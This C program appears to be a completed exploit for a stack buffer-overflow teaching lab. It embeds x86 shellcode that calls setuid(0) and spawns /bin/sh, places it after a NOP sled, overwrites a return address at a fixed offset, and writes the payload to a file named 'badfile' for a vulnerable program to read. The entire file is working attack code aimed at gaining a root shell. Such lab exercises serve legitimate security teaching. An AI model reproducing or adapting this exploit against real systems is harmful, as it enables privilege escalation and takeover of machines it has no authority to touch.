#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[] =
	"\x31\xc0" /* Line 1: xorl %eax,%eax */
	"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
	"\xb0\xd5" /* Line 3: movb $0xd5,%al */
	"\xcd\x80" /* Line 4: int $0x80 */
	"\x31\xc0"             /* xorl    %eax,%eax              */
	"\x50"                 /* pushl   %eax                   */
	"\x68""//sh"           /* pushl   $0x68732f2f            */
	"\x68""/bin"           /* pushl   $0x6e69622f            */
	"\x89\xe3"             /* movl    %esp,%ebx              */
	"\x50"                 /* pushl   %eax                   */
	"\x53"                 /* pushl   %ebx                   */
	"\x89\xe1"             /* movl    %esp,%ecx              */
	"\x99"                 /* cdq                            */
	"\xb0\x0b"             /* movb    $0x0b,%al              */
	"\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
	char buffer[517];
	FILE *badfile;

	/* Initialize buffer with 0x90 (NOP instruction) */
	memset(&buffer, 0x90, 517);

	/* You need to fill the buffer with appropriate contents here */
	*((long *) (buffer + 0x112)) = 0xbfffffff;
	memcpy( buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));

	/* Save the contents to the file "badfile" */
	badfile = fopen("./badfile","w");
	fwrite(buffer, 517, 1, badfile);
	fclose(badfile);

	return 0;
}